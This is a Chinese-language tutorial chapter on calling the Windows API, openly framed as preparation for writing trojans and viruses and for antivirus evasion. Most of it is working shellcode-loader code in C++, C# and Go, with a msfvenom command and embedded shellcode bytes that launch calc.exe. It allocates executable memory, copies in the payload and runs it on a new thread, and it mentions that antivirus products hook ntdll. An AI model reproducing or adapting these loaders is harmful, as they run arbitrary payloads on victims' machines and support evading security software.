2-WindowsAPI

一、初识WindowsAPI

PE的相关数据结构WindowsAPI 这两小节非常非常重要。在 PE的相关数据结构 这一小节中,你可能不会直观的感受它的重要性。而在 Windows API 这一节中,你将能够直观地感受到它的重要性,因为这将使你能够实际编写代码并实现功能。

定义Windows API(应用程序编程接口)是由微软提供的一组用于操作系统的功能和服务的接口,允许开发者在 Windows 操作系统上创建应用程序。Windows API 提供了对操作系统功能的访问,包括文件操作、图形处理、用户界面、网络通信等。

简单理解Windows API是一个Windows操作系统提供的可以调用的函数

对于制作木马、病毒等恶意软件,有几个核心的DLL需要特别熟悉

  1. Kernel32.dll:提供对系统功能的访问,如内存管理、进程和线程管理、文件和设备输入输出等。

  2. Ntdll.dll: 是 Windows 操作系统中的一个核心动态链接库(DLL),它提供了许多底层的系统服务和功能。这个库是 Windows NT 操作系统架构的一部分,几乎所有的 Windows 应用程序和系统服务都依赖于它。它也是反病毒软件经常hook的一个核心动态链接库。通过在Ntdll上设置钩子(hook),杀毒软件可以拦截这些API函数的调用,并检查它们的参数和返回值,以便发现潜在的恶意行为。关于 hooking技术我将会在 Hooking技术 这一节中详细讲解。

  3. User 32.dll:处理用户界面相关的功能,包括窗口管理、消息处理、输入事件等

  4. Advapi32.dll:提供高级 API 功能,如注册表访问、安全性和服务管理。

其中 Kernel32.dllNtdll.dll 将在后续章节反复提及,所以请读者引起重视,如果本节的讲解不能让你搞懂如何使用WindowsAPI,还请查阅其他资料,务必搞懂。

如何使用这些API呢?最佳的方法是查阅微软的官方文档: Windows API 索引 - Win32 apps | Microsoft Learn

下面,我将介绍静态调用WindowsAPI,关于动态调用api,这将在 动态获取api函数 这一节中详细介绍

二、C++调用WindowsAPI

因为微软的官方文档的语法是C++写,所以对于初学者更建议使用C++调用WindowsAPI方式。

2.1 示例

  1. 使用msf生成一个calc的shellcode

msfvenom -p windows/exec cmd=calc.exe -f c
  1. 包含必要的头文件 在你的 C++ 源文件中,你需要包含 Windows API 的头文件 windows.h

  2. 编写经典的创建线程注入的代码

#include <Windows.h>

//将刚刚在msf中生成的calc的shellcode复制粘贴过来
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3"
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d"
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

void main() {
	
	// 申请一块大小为buf字节数组长度的可读可行的内存区域
	LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// 将buf数组中的内容复制到刚刚分配的内存区域
	RtlMoveMemory(pMemory, buf, sizeof(buf));

	// 创建一个线程执行内存中的代码
	HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

	// 等待线程执行完成
	WaitForSingleObject(hThread, INFINITE);
}

2.2 介绍一下涉及到的API

(1)VirtualAlloc

官方文档VirtualAlloc 函数 (memoryapi.h) - Win32 apps | Microsoft Learn

作用:保留、提交或更改调用进程的虚拟地址空间中页面区域的状态。最常用的功能就是申请一块虚拟内存区域

语法

LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
//in是一种注释,用于指示参数的传入方向,in表示该参数是输入参数

[!NOTE] 几个数据类型解释

  1. LPVOID 是一个指针类型,表示指向任何类型的指针。它是 void* 的别名,允许指向任何数据类型的内存地址

  2. SIZE_T 是一个无符号整数类型,通常用于表示内存大小或计数。它的大小与平台相关:在 32 位系统上通常为 32 位(4 字节),在 64 位系统上为 64 位(8 字节)。

  3. DWORD 是一个无符号的 32 位整数类型(4 字节)。它是 unsigned long 的别名,通常用于表示状态码、标志和其他需要 32 位整数表示的值。


  1. lpAddress:要分配的区域的起始地址。如果为 NULL,系统将自动选择地址。可以指定一个地址,但如果该地址不合适,分配将失败。

  2. dwSize:要分配的内存块的大小(以字节为单位)。必须大于零。

  3. flAllocationType:分配类型的标志,可以是以下值之一或它们的组合

    • MEM_COMMIT:分配物理内存并将其映射到进程的虚拟地址空间。

    • MEM_RESERVE:保留地址空间,但不分配物理内存。

    • MEM_RESET:重置内存页的状态。

    • MEM_LARGE_PAGES:使用大页面进行分配(需系统支持)。

  4. flProtect:内存保护的标志,可以是以下值之一:

    • PAGE_READONLY:页面是只读的。

    • PAGE_READWRITE:页面可读可写。

    • PAGE_EXECUTE:页面可执行。

    • PAGE_EXECUTE_READ:页面可执行且可读。

(2)RtlMoveMemory

官方文档Wdm.h) (RtlMoveMemory 函数 - Win32 apps | Microsoft Learn

作用:将源内存块的内容复制到目标内存块,并支持重叠的源内存块和目标内存块。

语法

VOID RtlMoveMemory(
  _Out_       VOID UNALIGNED *Destination,
  _In_  const VOID UNALIGNED *Source,
  _In_        SIZE_T         Length
);
//_Out_ 表示输出参数

因为比较简单,所以参数的含义直接看官方文档即可。

(3)CreateThread

官方文档CreateThread 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn

作用:在当前进程的虚拟地址空间内创建一个线程,这个线程会执行相应内存区域的代码

语法

HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  [in]            SIZE_T                  dwStackSize,
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,
  [in]            DWORD                   dwCreationFlags,
  [out, optional] LPDWORD                 lpThreadId
);
  1. lpThreadAttributes:用于指定线程的安全属性。如果为 NULL,则线程句柄无法被继承。可以设置线程的安全性,例如访问控制。

  2. dwStackSize:如果指定为 0,系统将使用默认堆栈大小。可以根据需要设置更大的堆栈大小。

  3. lpStartAddress:指定线程开始执行时的地址。

  4. lpParameter:可以用于传递数据到线程。如果不需要传递参数,可以设为 NULL

  5. dwCreationFlags:可以设置为 0(默认创建线程),或使用 CREATE_SUSPENDED 等标志。CREATE_SUSPENDED 会使线程在创建后处于挂起状态,直到调用 ResumeThread

  6. lpThreadId:用于接收新线程的线程 ID。如果不需要线程 ID,可以将其设置为 NULL

(4)WaitForSingleObject

官方文档WaitForSingleObject 函数 (synchapi.h) - Win32 apps | Microsoft Learn

作用:用于等待一个指定的对象(在本例中是一个线程)进入信号状态

语法

DWORD WaitForSingleObject(
  [in] HANDLE hHandle,
  [in] DWORD  dwMilliseconds
);

[!NOTE] 一个数据类型 HANDLE:是 Windows API 中用于表示各种对象(如文件、线程、进程、事件等)的一个数据类型。它是一个指向内部数据结构的引用,允许程序通过这个引用来管理和与操作系统资源进行交互。句柄类型是Windows操作系统中很重要的数据类型,读者感兴趣的话,可以查阅网上的资料,作进一步的了解。

  1. hHandle:这是一个句柄,指向要等待的对象

  2. dwMilliseconds:指定等待的时间,以毫秒为单位。如果设置为 INFINITE,则函数将无限期等待,直到对象进入信号状态。

三、C# 调用WindowsAPI

在C# 中调用Windows API的实质是托管代码非托管代码的调用。

在 C# 中调用 Windows API 通常通过 P/Invoke(平台调用)实现。P/Invoke 允许你在 C# 中调用非托管代码(如 Windows API 函数)

托管与非托管,CLR的概念可以详解: 什么是 CLR ? - 知乎

3.1 CLR

定义

  1. 公共语言运行时(CLR)是一套完整的、高级的虚拟机,它被设计为用来支持不同的编程语言,并支持它们之间的互操作。

  2. 一个(很少见的)完备的编程平台,它指定了一个程序的完整生命周期中所需要的所有细节,从构建、绑定一直到部署和执行。

简单理解:它就是功能极其强大的一个虚拟机、一个编程平台

3.2 托管代码(Managed Code)

托管代码是由托管执行环境(如 .NET CLR,全称 NET Common Language Runtime,公共语言运行时)执行的代码。这个环境负责管理代码的执行,包括内存分配、垃圾回收、安全性和异常处理等。

例子:C#、VB.NET 和 F# 等语言编写的代码都是托管代码。

3.3 非托管代码 (Unmanaged Code)

非托管代码是直接在操作系统上运行的代码,它不受托管执行环境的控制。

例子:用 C 或 C++ 编写的代码通常被视为非托管代码。

3.4 示例

  1. 需要使用到 System.Runtime.InteropServices 这个命名空间(namespace),专门用于提供与非托管代码进行交互的功能。

  2. API声明的模板

[DllImport("<DLL名称>")]
public static extern <函数返回值类型> <API名称>(参数1, 参数2, ……);
  1. 一个弹出calc的例子(加载器代码只适用于32位程序,具体原因未知)

using System;
using System.Runtime.InteropServices;
using System.Threading;

class Program
{
    // 声明 Windows API 函数
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);

    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

    [DllImport("kernel32.dll")]
    public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

    // Shellcode
    private static  byte[] shellcode = new byte[]
    {
        0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50,
        0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26,
        0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,
        0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78,
        0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3,
        0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
        0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58,
        0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3,
        0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a,
        0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d,
        0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb,
        0xf0, 0xb5, 0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c,
        0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53,
        0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
    };

    static void Main()
    {
        // 申请可执行内存
        IntPtr pMemory = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);

        // 将 shellcode 复制到申请的内存
        Marshal.Copy(shellcode, 0, pMemory, shellcode.Length);

        // 创建线程执行内存中的代码
        uint threadId;
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, pMemory, IntPtr.Zero, 0, out threadId);

        // 等待线程执行完成
        WaitForSingleObject(hThread, 0xFFFFFFFF);

        // 释放内存(可选)
        VirtualFree(pMemory, 0, 0x8000);
    }
}

因为WindowsAPI是C++写的,而我们的加载器是C# 写的,所以这就涉及到我们的函数参数的数据类型要与WindowsAPI的参数类型一致。如何确定函数参数的类型呢?可以参照VS的提示,进行数据类型的匹配就可以了。比如 VirtualAlloc,鼠标光标悬停,VS就会给出函数参数的类型

运行结果

[!NOTE] 几个数据类型

  1. IntPtr 是 .NET 中的一个结构,主要用于表示一个指针句柄。它的大小与平台相关:在 32 位平台上,IntPtr 是 4 字节(32 位),而在 64 位平台上是 8 字节(64 位)。使用 IntPtr 可以在托管代码和非托管代码之间安全地传递指针和句柄。

  2. IntPtr.Zero 是一个静态属性,表示一个空指针或句柄

  3. uint 是 C# 中的一个无符号整型数据类型,表示一个 32 位的无符号整数。

四、Go调用WindowsAPI

GO语言中调用 Windows API 来分配可执行内存、复制 shellcode、创建线程并执行 shellcode,可以使用 golang.org/x/sys/windows

4.1 示例

package main  
  
import (  
    "golang.org/x/sys/windows"  
    "unsafe")  
  
func main() {  
    // 弹出计算器的shellocde  
    // hex格式505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3  
    shellcode := []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,  
       0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28,  
       0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B,  
       0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E,  
       0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,  
       0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F,  
       0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07,  
       0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,  
       0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99,  
       0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E, 0x5B,  
       0x5A, 0x59, 0x58, 0xC3}  
  
    //申请内存  
    addr, _ := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)  
  
    //   复制shellcode到内存  
    ntdll := windows.NewLazySystemDLL("ntdll.dll")  
    RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")  
    _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))  
  
    //   修改内存权限为可执行  
    var oldProtect uint32  
    _ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)  
  
    //   创建线程  
    kernel32 := windows.NewLazySystemDLL("kernel32.dll")  
    CreateThread := kernel32.NewProc("CreateThread")  
    thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)  
    _, _ = windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)  
}

注:

  1. 不知道为什么用msf生成的弹出计算器shellcode不起作用了,所以我又换了一个shellcode

  2. 如果不知道api的数据类型,光标悬停在Call函数上,IDE会给出提示。比如RtlCopyMemory.Call的全部参数的类型是uintptr类型的,接下来就是数据类型转换了。

  1. (uintptr)(unsafe.Pointer(&shellcode[0])) 这种数据类型的转换在Go免杀中很常见

    • 首先用 & 运算符获得数组第一个元素的地址,即数组首地址。

    • 然后用 unsafe.Pointer(&shellcode[0])*byte 类型转换成 unsafe.Pointer 类型。

    • 最后将 unsafe.Pointer 转换成 uintptr 类型。

  2. 为什么要这么做?因为 *byte 指针类型不能直接转换成 uintptr 无符号整数类型。

  3. & 运算符获得元素的地址是什么类型取决于被运算的变量的类型。如shellcode变量是 []byte 类型,所以 & 运算后得到 *byte 类型的数据。

  4. unsafe.Pointer是一种通用类型的指针,unsafe.Pointer适用的4种情况

    • 任何类型的指针值都可以转换为 Pointer。

    • Pointer 可以转换为任何类型的指针值。

    • uintptr 可以转换为 Pointer。

    • Pointer 可以转换为 uintptr。

Go语言的语法详解官网或者其他教程。 1、入门指南 | Golang 中文学习文档 2、Go 语言教程 | 菜鸟教程

运行结果

4.2 在GO免杀中几个值得探讨的问题

(1)&* 运算符

& 是取地址符,放到一个变量前使用就会返回相应变量的内存地址

package main
import "fmt"

func main() {
   var a int = 10   
   fmt.Printf("变量的地址: %x\n", &a  )
}

运行结果

* 是解引用符,在指针类型的变量前面加上 * 号(前缀)来获取指针所指向的内容

package main  
  
import "fmt"  
  
func main() {  
    var a int = 20 /* 声明实际变量 */    var ip *int    /* 声明指针变量 */  
    ip = &a /* 指针变量的存储地址 */  
    fmt.Printf("a 变量的地址是: %x\n", &a)  
  
    /* 指针变量的存储地址 */    
    fmt.Printf("ip 变量储存的指针地址: %x\n", ip)  
  
    /* 使用指针访问值 */    
    fmt.Printf("*ip 变量的值: %d\n", *ip)  
}

运行结果

(2)指针指来指去

接下来我将用一段代码来解释 (uintptr)(unsafe.Pointer(&shellcode[0])) 这个语句背后的数据转换关系

package main  
  
import (  
    "fmt"  
    "unsafe")  
  
func main() {  
    shellcode := []byte{0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x50, 0x53, 0x89, 0xe1, 0xb0, 0x0b, 0xcd, 0x80}  
  
    // 获取字节切片第一个元素的地址并转换为 uintptr    
    shellcode2 := (uintptr)(unsafe.Pointer(&shellcode[0]))  
  
    // 打印不同形式的地址  
    fmt.Printf("Shellcode address (using &shellcode[0]): %x\n", &shellcode[0])  
    fmt.Printf("Shellcode address (using unsafe.Pointer): %x\n", unsafe.Pointer(&shellcode[0]))  
    fmt.Printf("Shellcode address (using uintptr): %x\n", shellcode2)  
  
    // 打印变量的类型  
    fmt.Printf("Type of &shellcode[0]: %T\n", &shellcode[0])                                 // *byte  
    fmt.Printf("Type of unsafe.Pointer(&shellcode[0]): %T\n", unsafe.Pointer(&shellcode[0])) // unsafe.Pointer  
    fmt.Printf("Type of shellcode2: %T\n", shellcode2)                                       // uintptr  
}

运行结果

  1. &shellcode[0]unsafe.Pointer(&shellcode[0])shellcode2 他们的表示的值都是一样的,都表示shellcode数组的第一个元素的内存地址,只是他们的数据类型不同而已,不同类型的数据,编译器对数据的解释方法不同。&shellcode[0] 表示 *byte 类型的指针。unsafe.Pointer(&shellcode[0]) 表示通用类型的指针。shellcode2是 uintptr 是内存地址的整数形式,它不能直接当作指针来使用。

  2. 指针类型决定了指针进行解引用操作时,访问空间的大小。比如说 *int 表示了一次解应操作能访问的范围是 int 类型大小;*byte 表示了一次解应操作能访问的范围是 byte 类型大小。

  3. 指针就是地址,指针变量是用来存放指针的。解应用的本质是解析存放在指针变量里的指针,得到指针所指向的内存空间的内容

  4. 以上内容,如果觉得不好理解,那就等自己知识积累足够丰富之后再回过头来看就会突然醒悟。在Go免杀中,这一步操作 (uintptr)(unsafe.Pointer(&shellcode[0])) 是相对固定没有很大的变化。

如果想更一步的了解指针,详见:

1、【C语言】深入理解指针(一篇让你完全搞懂指针)_c语言指针通俗理解-CSDN博客

2、【C 语言指针篇】指针的灵动舞步与内存的神秘疆域:于 C 编程世界中领略指针艺术的奇幻华章-腾讯云开发者社区-腾讯云

五、不同语言之间重要数据类型的转换关系

C++
C#
Go

HANDLE

IntPtr

windows.Handle()

DWORD

uint

uint32

大部分指针类型

IntPtr

uintptr